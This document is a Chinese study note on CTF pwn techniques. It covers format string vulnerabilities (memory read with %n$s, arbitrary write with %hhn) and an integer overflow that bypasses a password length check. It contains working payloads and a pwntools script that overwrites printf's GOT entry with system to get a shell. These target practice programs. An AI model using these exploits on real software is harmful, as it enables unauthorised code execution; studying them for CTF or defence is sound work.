Pwn相关知识学习

今天开始学习CTF各类逆向题型,Android通过JEB已经可以进行大部分基础的逆向,不难,所以有空再写,但是PWN这玩意玩起来就脑壳疼了,不记下来指不定过几天我就忘了。

格式化字符创漏洞学习

格式化字符创这东西由于参数个数的不确定性,因此可以构造恶意参数来读写内存。

输出函数

1
2
3
4
5
6
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

对于输出函数,即使是printf函数也可以被用来操作内存的读写,以下程序为例:

1
2
3
4
5
6
7
8
9
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}

注:进行编译需要冠以 aslr和关闭pie

1
2
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie main.c

通过输入%p%p%p%p%p%p%p%p%p%p%p%p 即可打印处堆栈内的信息,若需读任意地址,配合上%n$s即可,具体应用:
python -c ‘print(“\x00\x10\x40\x00%13$s”)’ 如此便可打印处 00401000的内存地址的值

重点:%13$s 这种格式需要大家自行查询了解,这里给出一个例子:

printf(“%2$s,%1$d”,123,”Hello”)

这个函数输出的结果为 Hello,123。 至于我上面给的%13$s 中的13,只是个例子,每个程序都不一样,上诉例子在调试过程中我在调试过程中获取到的是13。

可以对任意内存进行读取之后,需要对任意内存进行写操作,这里给一个关于printf写内存的例子:

1
2
3
4
5
6
7
#include<stdio.h>
void main() {
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);
}

输出结果为 :

1
2
hello
6

这里的%n代表的是将前面所包含的char数组长度写入到i变量中。

printf(“%0134512640d%n\n”, 1, &i);

以上代码 将 0x8048000 写入到i当中,实际利用情况 我们使用 %hhn % hn 来写入内存,hhn表示的是char类型地址。

python2 -c ‘print(“\x38\xd5\xff\xff”+”\x39\xd5\xff\xff”+”\x3a\xd5\xff\xff””\x3b\xd5\xff\xff”+”%104c%13$hhn”+”%222c%14$hhn”+”%
222c%15$hhn”+”%222c%16$hhn”)’ | ./a.out

因此就完成了对任意地址的写入。但是前面的字符创占用了大小,自行处理(二次覆盖或者把%13$n移动到前面去但是要注意内存对齐)。

案例分析:

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}

目标很简单,通过输入输出,获取shell权限。

此时需要利用pwntools来协助完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
elf = ELF('./a.out') # 通过ELF模块获取信息
r = process('./a.out') #通过process执行进程,若是远程的则通过端口连接方式。
libc = ELF('/usr/lib32/libc.so.6') #读取ELF文件信息

def exec_fmt(payload):
r.sendline(payload)
info = r.recv()
return info
auto = FmtStr(exec_fmt) #通过FmtStr 来自动寻找格式化字符参数,即通过返回信息获取到接受数据的变量地址 通过 %13$s这种方式
offset = auto.offset

printf_got = elf.got['printf'] # 获得printf的got地址
log.success("printf_got => {}".format(hex(printf_got)))

payload = p32(printf_got) + '%{}$s'.format(offset)
r.send(payload) # 通过%n$s 获取到 printf got地址存放的printf系统函数地址
s = r.recv()
printf_addr = u32(s[4:8])
system_addr = printf_addr - 82208 # 硬编码 通过gdb 调试命令 p printf 和 p system 得到地址 计算出来的差值
#system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system']) 该方法首先要通过 ldd 查看加载的so文件,不然可能出现地址错误等情况。
payload = fmtstr_payload(offset,{printf_got:system_addr}) #将printf 函数 替换为 system函数,
r.send(payload)
r.interactive() # 此时我们输入的任何数据都将变成system命令去执行。

整数溢出

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("error\n");
return 0;
}
validate_passwd(argv[1]);
}

整数溢出 长度261 相当于5,绕过验证 缓冲区覆盖返回地址,但由于堆栈原因,只能在gdb环境下可以实现,其他的也可以通过爆破测试出来。